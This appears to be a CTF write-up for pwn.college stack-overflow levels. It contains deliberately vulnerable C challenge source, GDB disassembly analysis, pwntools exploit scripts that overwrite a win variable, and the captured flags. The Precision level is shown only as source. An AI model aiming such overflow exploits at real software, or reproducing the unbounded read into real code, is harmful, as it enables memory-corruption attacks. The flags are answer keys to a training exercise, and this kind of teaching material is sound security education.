Skip to main content

Binary Exploitation

Your First Overflow (easy)

Source code

/challenge/binary-exploitation-first-overflow-w.c
 #define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 3705; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[56];
int win_variable;
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 56);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

FIND_CANARY(cp_, cv_, bp_);

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 56);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("\n");

if (data.win_variable)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}

On running the challenge, we get the following:

hacker@binary-exploitation~your-first-overflow-easy:/$ /challenge/binary-exploitation-first-overflow-w
The challenge() function has just been launched!
Before we do anything, let's take a look at challenge()'s stack frame:
+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffd92a28580 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a28588 (rsp+0x0008) | 48 97 a2 92 fd 7f 00 00 | 0x00007ffd92a29748 |
| 0x00007ffd92a28590 (rsp+0x0010) | 38 97 a2 92 fd 7f 00 00 | 0x00007ffd92a29738 |
| 0x00007ffd92a28598 (rsp+0x0018) | 25 a5 b4 bf 01 00 00 00 | 0x00000001bfb4a525 |
| 0x00007ffd92a285a0 (rsp+0x0020) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffd92a285a8 (rsp+0x0028) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285b0 (rsp+0x0030) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285b8 (rsp+0x0038) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285c0 (rsp+0x0040) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285c8 (rsp+0x0048) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285d0 (rsp+0x0050) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285d8 (rsp+0x0058) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285e0 (rsp+0x0060) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffd92a285e8 (rsp+0x0068) | 00 00 00 00 fd 7f 00 00 | 0x00007ffd00000000 |
| 0x00007ffd92a285f0 (rsp+0x0070) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffd92a285f8 (rsp+0x0078) | 00 13 c2 3e ea 86 82 2f | 0x2f8286ea3ec21300 |
| 0x00007ffd92a28600 (rsp+0x0080) | 40 96 a2 92 fd 7f 00 00 | 0x00007ffd92a29640 |
| 0x00007ffd92a28608 (rsp+0x0088) | 50 29 40 00 00 00 00 00 | 0x0000000000402950 |
+---------------------------------+-------------------------+--------------------+
Our stack pointer points to 0x7ffd92a28580, and our base pointer points to 0x7ffd92a28600.
This means that we have (decimal) 18 8-byte words in our stack frame,
including the saved base pointer and the saved return address, for a
total of 144 bytes.
The input buffer begins at 0x7ffd92a285b0, partway through the stack frame,
("above" it in the stack are other local variables used by the function).
Your input will be read into this buffer.
The buffer is 56 bytes long, but the program will let you provide an arbitrarily
large input length, and thus overflow the buffer.

In this level, there is a "win" variable.
By default, the value of this variable is zero.
However, when this variable is non-zero, the flag will be printed.
You can make this variable be non-zero by overflowing the input buffer.
The "win" variable is stored at 0x7ffd92a285e8, 56 bytes after the start of your input buffer.

We have disabled the following standard memory corruption mitigations for this challenge:
- the binary is *not* position independent. This means that it will be
located at the same spot every time it is run, which means that by
analyzing the binary (using objdump or reading this output), you can
know the exact value that you need to overwrite the return address with.

You have chosen to send 4096 bytes of input!
This will allow you to write from 0x7ffd92a285b0 (the start of the input buffer)
right up to (but not including) 0x7ffd92a295b0 (which is 4040 bytes beyond the end of the buffer).
Send your payload (up to 4096 bytes)!

We simply have to send 56 bytes of padding to fill out the buffer, and then we can overwrite the win variable, and get the flag.

Exploit

~/script.py
from pwn import *

padding = b'A' * 56
payload = padding + p64(0x42424242)

p = process('/challenge/binary-exploitation-first-overflow-w')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~your-first-overflow-easy:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-first-overflow-w': pid 5718
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[▁] Receiving all data: 1B
[+] Receiving all data: Done (2.37KB)tation-first-overflow-w' stopped with exit code 0 (pi
d 5718)

You sent 64 bytes!
Let's see what happened with the stack:

+---------------------------------+-------------------------+--------------------+
| Stack location | Data (bytes) | Data (LE int) |
+---------------------------------+-------------------------+--------------------+
| 0x00007ffe3f82d510 (rsp+0x0000) | 00 00 00 00 00 00 00 00 | 0x0000000000000000 |
| 0x00007ffe3f82d518 (rsp+0x0008) | d8 e6 82 3f fe 7f 00 00 | 0x00007ffe3f82e6d8 |
| 0x00007ffe3f82d520 (rsp+0x0010) | c8 e6 82 3f fe 7f 00 00 | 0x00007ffe3f82e6c8 |
| 0x00007ffe3f82d528 (rsp+0x0018) | 25 45 a4 67 01 00 00 00 | 0x0000000167a44525 |
| 0x00007ffe3f82d530 (rsp+0x0020) | 00 10 00 00 40 00 00 00 | 0x0000004000001000 |
| 0x00007ffe3f82d538 (rsp+0x0028) | 00 10 00 00 00 00 00 00 | 0x0000000000001000 |
| 0x00007ffe3f82d540 (rsp+0x0030) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d548 (rsp+0x0038) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d550 (rsp+0x0040) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d558 (rsp+0x0048) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d560 (rsp+0x0050) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d568 (rsp+0x0058) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d570 (rsp+0x0060) | 41 41 41 41 41 41 41 41 | 0x4141414141414141 |
| 0x00007ffe3f82d578 (rsp+0x0068) | 42 42 42 42 00 00 00 00 | 0x0000000042424242 |
| 0x00007ffe3f82d580 (rsp+0x0070) | b0 11 40 00 00 00 00 00 | 0x00000000004011b0 |
| 0x00007ffe3f82d588 (rsp+0x0078) | 00 0a d0 55 5a 93 06 6d | 0x6d06935a55d00a00 |
| 0x00007ffe3f82d590 (rsp+0x0080) | d0 e5 82 3f fe 7f 00 00 | 0x00007ffe3f82e5d0 |
| 0x00007ffe3f82d598 (rsp+0x0088) | 50 29 40 00 00 00 00 00 | 0x0000000000402950 |
+---------------------------------+-------------------------+--------------------+
The program's memory status:
- the input buffer starts at 0x7ffe3f82d540
- the saved frame pointer (of main) is at 0x7ffe3f82d590
- the saved return address (previously to main) is at 0x7ffe3f82d598
- the saved return address is now pointing to 0x402950.
- the canary is stored at 0x7ffe3f82d588.
- the canary value is now 0x6d06935a55d00a00.
- the address of the win variable is 0x7ffe3f82d578.
- the value of the win variable is 0x42424242.

You win! Here is your flag:
pwn.college{IklKJD4tmAGF8uR7XZbFtXjDVI1.0VO4IDL4ITM0EzW}


Goodbye!

 

Your First Overflow (hard)

Source code

/challenge/binary-exploitation-first-overflow.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

void bin_padding()
{
asm volatile (".rept 2295; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[91];
int win_variable;
} data = {0} ;

unsigned long size = 0;

size = 4096;

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

if (data.win_variable)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

challenge(argc, argv, envp);

}

Let's first check the file type.

hacker@binary-exploitation~your-first-overflow-hard:/$ file /challenge/binary-exploitation-first-overflow
/challenge/binary-exploitation-first-overflow: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0820f5d1594512f9ce64b72709778e6500a2c4f4, for GNU/Linux 3.2.0, not stripped

So the challenge is a 64-bit LSB executable, let's run it.

hacker@binary-exploitation~your-first-overflow-hard:/$ /challenge/binary-exploitation-first-overflow
Send your payload (up to 4096 bytes)!

This time we are not given any information by the program. There are certain values we need to know in order to perform a buffer overflow.

  • Location of the buffer to be overflowed
  • Location of the data to be overwritten

Let's open the program within GDB and try to find this information.

Disassembly

hacker@binary-exploitation~your-first-overflow-hard:/home$ gdb /challenge/binary-exploitation-first-overflow
GNU gdb (GDB) 16.2
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /challenge/binary-exploitation-first-overflow...
(No debugging symbols found in /challenge/binary-exploitation-first-overflow)
(gdb)

We need to see which functions are present in the binary.

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 __errno_location@plt
0x00000000004010f0 puts@plt
0x0000000000401100 write@plt
0x0000000000401110 __stack_chk_fail@plt
0x0000000000401120 printf@plt
0x0000000000401130 geteuid@plt
0x0000000000401140 read@plt
0x0000000000401150 setvbuf@plt
0x0000000000401160 open@plt
0x0000000000401170 exit@plt
0x0000000000401180 strerror@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 bin_padding
0x0000000000401b78 win
0x0000000000401c7f challenge
0x0000000000401d6f main
0x0000000000401e20 __libc_csu_init
0x0000000000401e90 __libc_csu_fini
0x0000000000401e98 _fini

The challenge() funtion seems interesting, before we disassemble it, let's set the disassembly-flavor to intel.

(gdb) set disassembly-flavor intel

challenge()

(gdb) disassemble challenge
Dump of assembler code for function challenge:
0x0000000000401c7f <+0>: endbr64
0x0000000000401c83 <+4>: push rbp
0x0000000000401c84 <+5>: mov rbp,rsp
0x0000000000401c87 <+8>: sub rsp,0xa0
0x0000000000401c8e <+15>: mov DWORD PTR [rbp-0x84],edi
0x0000000000401c94 <+21>: mov QWORD PTR [rbp-0x90],rsi
0x0000000000401c9b <+28>: mov QWORD PTR [rbp-0x98],rdx
0x0000000000401ca2 <+35>: mov rax,QWORD PTR fs:0x28
0x0000000000401cab <+44>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401caf <+48>: xor eax,eax
0x0000000000401cb1 <+50>: lea rdx,[rbp-0x70]
0x0000000000401cb5 <+54>: mov eax,0x0
0x0000000000401cba <+59>: mov ecx,0xc
0x0000000000401cbf <+64>: mov rdi,rdx
0x0000000000401cc2 <+67>: rep stos QWORD PTR es:[rdi],rax
0x0000000000401cc5 <+70>: mov QWORD PTR [rbp-0x78],0x0
0x0000000000401ccd <+78>: mov QWORD PTR [rbp-0x78],0x1000
0x0000000000401cd5 <+86>: mov rax,QWORD PTR [rbp-0x78]
0x0000000000401cd9 <+90>: mov rsi,rax
0x0000000000401cdc <+93>: lea rdi,[rip+0x42d] # 0x402110
0x0000000000401ce3 <+100>: mov eax,0x0
0x0000000000401ce8 <+105>: call 0x401120 <printf@plt>
0x0000000000401ced <+110>: mov rdx,QWORD PTR [rbp-0x78]
0x0000000000401cf1 <+114>: lea rax,[rbp-0x70]
0x0000000000401cf5 <+118>: mov rsi,rax
0x0000000000401cf8 <+121>: mov edi,0x0
0x0000000000401cfd <+126>: call 0x401140 <read@plt>
0x0000000000401d02 <+131>: mov DWORD PTR [rbp-0x7c],eax
0x0000000000401d05 <+134>: cmp DWORD PTR [rbp-0x7c],0x0
0x0000000000401d09 <+138>: jns 0x401d37 <challenge+184>
0x0000000000401d0b <+140>: call 0x4010e0 <__errno_location@plt>
0x0000000000401d10 <+145>: mov eax,DWORD PTR [rax]
0x0000000000401d12 <+147>: mov edi,eax
0x0000000000401d14 <+149>: call 0x401180 <strerror@plt>
0x0000000000401d19 <+154>: mov rsi,rax
0x0000000000401d1c <+157>: lea rdi,[rip+0x415] # 0x402138
0x0000000000401d23 <+164>: mov eax,0x0
0x0000000000401d28 <+169>: call 0x401120 <printf@plt>
0x0000000000401d2d <+174>: mov edi,0x1
0x0000000000401d32 <+179>: call 0x401170 <exit@plt>
0x0000000000401d37 <+184>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401d3a <+187>: test eax,eax
0x0000000000401d3c <+189>: je 0x401d48 <challenge+201>
0x0000000000401d3e <+191>: mov eax,0x0
0x0000000000401d43 <+196>: call 0x401b78 <win>
0x0000000000401d48 <+201>: lea rdi,[rip+0x40d] # 0x40215c
0x0000000000401d4f <+208>: call 0x4010f0 <puts@plt>
0x0000000000401d54 <+213>: mov eax,0x0
0x0000000000401d59 <+218>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000000401d5d <+222>: xor rcx,QWORD PTR fs:0x28
0x0000000000401d66 <+231>: je 0x401d6d <challenge+238>
0x0000000000401d68 <+233>: call 0x401110 <__stack_chk_fail@plt>
0x0000000000401d6d <+238>: leave
0x0000000000401d6e <+239>: ret
End of assembler dump.

In this output, we can see that the program is making a read@plt call, this is to read in the user input.

# --- snip ---

0x0000000000401ced <+110>: mov rdx,QWORD PTR [rbp-0x78]
0x0000000000401cf1 <+114>: lea rax,[rbp-0x70]
0x0000000000401cf5 <+118>: mov rsi,rax
0x0000000000401cf8 <+121>: mov edi,0x0
0x0000000000401cfd <+126>: call 0x401140 <read@plt>

# --- snip ---

read@plt

ssize_t read(int fd, void buf[.count], size_t count);
arg0 (%rdi)arg1 (%rsi)arg2 (%rdx)
unsigned int fdchar *bufsize_t count

We can see that the second argument is the location of the buffer in which the data is to be read. This argument is loaded in the rsi register.

Let's look at how this is loaded in our assembly code.

One thing to note is that the program is calling read function in the C standard library (glibc) through the Procedure Linkage Table (PLT). This internally sets up the syscall with rax=0 and executes the syscall instruction. Hence, the rax register does not have to be explicitely set to 0 in the program.

Let's set a breakpoint and check tehe value of rsi right before read@plt is called.

(gdb) break *(challenge+126)
Breakpoint 1 at 0x401cfd

Once the program execution hits our breakpoint, we can check the value of rsi.

Breakpoint 1, 0x0000000000401cfd in challenge ()
(gdb) p/x $rsi
$1 = 0x7ffc5e80eb90

This tells us that the buffer is located at 0x7ffc5e80eb90.

Within the challenge() funtion, there is anoter interesting code snippet.

# --- snip ---

0x0000000000401d37 <+184>: mov eax,DWORD PTR [rbp-0x14]
0x0000000000401d3a <+187>: test eax,eax
0x0000000000401d3c <+189>: je 0x401d48 <challenge+201>
0x0000000000401d3e <+191>: mov eax,0x0
0x0000000000401d43 <+196>: call 0x401b78 <win>
0x0000000000401d48 <+201>: lea rdi,[rip+0x40d] # 0x40215c

# --- snip ---

The program moves the data pointed to by rbp-0x14 into eax, and then checks if it is zero. If the check succeeds, it jumps to challenge+201, effectively skipping the win function.

Let'e set a breakpoint at challenge+184 and validate what value is being pointed to by rbp-0x14 (If our hypothesis is correct, it should be zero).

(gdb) break *(challenge+184)
Breakpoint 2 at 0x401d37

Let's continue the flow of execution, provide some user input, and check the data that rbp-0x14 points to.

(gdb) c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 2, 0x0000000000401d37 in challenge ()
(gdb) x/dw $rbp-0x14
0x7ffc5e80ebec: 0

If we overwrite the data stored at rbp-0x14 to something other that 0, the program will not jump over win and we will get the flag.

We have satisfied all the requirements for a buffer overflow.

  • Location of the buffer to be overflowed: 0x7ffc5e80eb90
  • Location of the data to be overwritten: 0x7ffc5e80ebec

Now that we have the necessary data, we can calculate the distance between the buffer and the address to be overwritten.

(gdb) p/d 0x7ffc5e80ebec - 0x7ffc5e80eb90
$2 = 92

Exploit

~/script.py
from pwn import *

padding = b'A' * 92
payload = padding + p64(0x42424242)

p = process('/challenge/binary-exploitation-first-overflow')
p.recvuntil('bytes)!')
p.send(payload)
output = p.recvall(timeout=2)
print(output.decode(errors='ignore'))
p.close()
hacker@binary-exploitation~your-first-overflow-hard:/$ python ~/script.py 
[+] Starting local process '/challenge/binary-exploitation-first-overflow': pid 30430
/home/hacker/script.py:7: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil('bytes)!')
[+] Receiving all data: Done (97B)
[*] Process '/challenge/binary-exploitation-first-overflow' stopped with exit code 0 (pid 30430)

You win! Here is your flag:
pwn.college{g40ivIGbon98_O-LlQdx5bT0UGF.0FM5IDL4ITM0EzW}


Goodbye!

 

Precision (easy)

Source code

/challenge/binary-exploitation-lose-variable-w.c
#define _GNU_SOURCE 1

#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
#include <errno.h>
#include <assert.h>
#include <libgen.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/signal.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/sendfile.h>
#include <sys/prctl.h>
#include <sys/personality.h>
#include <arpa/inet.h>

uint64_t sp_;
uint64_t bp_;
uint64_t sz_;
uint64_t cp_;
uint64_t cv_;
uint64_t si_;
uint64_t rp_;

#define GET_SP(sp) asm volatile ("mov %0, rsp" : "=r"(sp) : : );
#define GET_BP(bp) asm volatile ("mov %0, rbp" : "=r"(bp) : : );
#define GET_CANARY(cn) asm volatile ("mov %0, QWORD PTR [fs:0x28]" : "=r"(cn) : : );
#define GET_FRAME_WORDS(sz_, sp, bp, rp_) GET_SP(sp); GET_BP(bp); sz_ = (bp-sp)/8+2; rp_ = bp+8;
#define FIND_CANARY(cnp, cv, start) \
{ \
cnp = start; \
GET_CANARY(cv); \
while (*(uint64_t *)cnp != cv) cnp = (uint64_t)cnp - 8; \
}

void DUMP_STACK(uint64_t sp, uint64_t n)
{
printf("+---------------------------------+-------------------------+--------------------+\n");
printf("| %31s | %23s | %18s |\n", "Stack location", "Data (bytes)", "Data (LE int)");
printf("+---------------------------------+-------------------------+--------------------+\n");
for (si_ = 0; si_ < n; si_++)
{
printf("| 0x%016lx (rsp+0x%04x) | %02x %02x %02x %02x %02x %02x %02x %02x | 0x%016lx |\n",
sp+8*si_, 8*si_,
*(uint8_t *)(sp+8*si_+0), *(uint8_t *)(sp+8*si_+1), *(uint8_t *)(sp+8*si_+2), *(uint8_t *)(sp+8*si_+3),
*(uint8_t *)(sp+8*si_+4), *(uint8_t *)(sp+8*si_+5), *(uint8_t *)(sp+8*si_+6), *(uint8_t *)(sp+8*si_+7),
*(uint64_t *)(sp+8*si_)
);
}
printf("+---------------------------------+-------------------------+--------------------+\n");
}

void bin_padding()
{
asm volatile (".rept 3339; nop; .endr");
}

void win()
{
static char flag[256];
static int flag_fd;
static int flag_length;

puts("You win! Here is your flag:");
flag_fd = open("/flag", 0);
if (flag_fd < 0)
{
printf("\n ERROR: Failed to open the flag -- %s!\n", strerror(errno));
if (geteuid() != 0)
{
printf(" Your effective user id is not 0!\n");
printf(" You must directly run the suid binary in order to have the correct permissions!\n");
}
exit(-1);
}
flag_length = read(flag_fd, flag, sizeof(flag));
if (flag_length <= 0)
{
printf("\n ERROR: Failed to read the flag -- %s!\n", strerror(errno));
exit(-1);
}
write(1, flag, flag_length);
printf("\n\n");
}

int challenge(int argc, char **argv, char **envp)
{
struct
{
char input[68];
int win_variable;
int lose_variable;
} data = {0} ;

unsigned long size = 0;

puts("The challenge() function has just been launched!");

GET_FRAME_WORDS(sz_, sp_, bp_, rp_);
puts("Before we do anything, let's take a look at challenge()'s stack frame:");
DUMP_STACK(sp_, sz_);
printf("Our stack pointer points to %p, and our base pointer points to %p.\n", sp_, bp_);
printf("This means that we have (decimal) %d 8-byte words in our stack frame,\n", sz_);
printf("including the saved base pointer and the saved return address, for a\n");
printf("total of %d bytes.\n", sz_ * 8);
printf("The input buffer begins at %p, partway through the stack frame,\n", &data.input);
printf("(\"above\" it in the stack are other local variables used by the function).\n");
printf("Your input will be read into this buffer.\n");
printf("The buffer is %d bytes long, but the program will let you provide an arbitrarily\n", 68);
printf("large input length, and thus overflow the buffer.\n\n");

printf("In this level, there is a \"win\" variable.\n");
printf("By default, the value of this variable is zero.\n");
printf("However, when this variable is non-zero, the flag will be printed.\n");
printf("You can make this variable be non-zero by overflowing the input buffer.\n");
printf("The \"win\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.win_variable, ((unsigned long) &data.win_variable) - ((unsigned long) &data.input));

puts(" But be careful! There is also a LOSE variable. If this variable ends up non-zero, the program will terminate and you");
puts("will not get the flag. Be careful not to overwrite this variable.\n");
printf("The \"lose\" variable is stored at %p, %d bytes after the start of your input buffer.\n\n", &data.lose_variable, ((unsigned long) &data.lose_variable) - ((unsigned long) &data.input));

puts("We have disabled the following standard memory corruption mitigations for this challenge:");
puts("- the binary is *not* position independent. This means that it will be");
puts("located at the same spot every time it is run, which means that by");
puts("analyzing the binary (using objdump or reading this output), you can");
puts("know the exact value that you need to overwrite the return address with.\n");

FIND_CANARY(cp_, cv_, bp_);

size = 4096;

printf("You have chosen to send %lu bytes of input!\n", size);
printf("This will allow you to write from %p (the start of the input buffer)\n", &data.input);
printf("right up to (but not including) %p (which is %d bytes beyond the end of the buffer).\n", size + (unsigned long) &data.input, size - 68);

printf("Send your payload (up to %lu bytes)!\n", size);
int received = read(0, &data.input, (unsigned long) size);

if (received < 0)
{
printf("ERROR: Failed to read input -- %s!\n", strerror(errno));
exit(1);
}

printf("You sent %d bytes!\n", received);

printf("Let's see what happened with the stack:\n\n");
DUMP_STACK(sp_, sz_);

printf("The program's memory status:\n");
printf("- the input buffer starts at %p\n", &data.input);
printf("- the saved frame pointer (of main) is at %p\n", bp_);
printf("- the saved return address (previously to main) is at %p\n", rp_);
printf("- the saved return address is now pointing to %p.\n", *(unsigned long*)(rp_));
printf("- the canary is stored at %p.\n", cp_);
printf("- the canary value is now %p.\n", *(unsigned long*)(cp_));
printf("- the address of the win variable is %p.\n", &data.win_variable);
printf("- the value of the win variable is 0x%x.\n", data.win_variable);
printf("- the address of the lose variable is %p.\n", &data.lose_variable);
printf("- the value of the lose variable is 0x%x.\n", data.lose_variable);
printf("\n");

if (data.lose_variable)
{
puts("Lose variable is set! Quitting!");
exit(1);
}
if (data.win_variable)
{
win();
}

puts("Goodbye!");

return 0;
}

int main(int argc, char **argv, char **envp)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

char crash_resistance[0x1000];

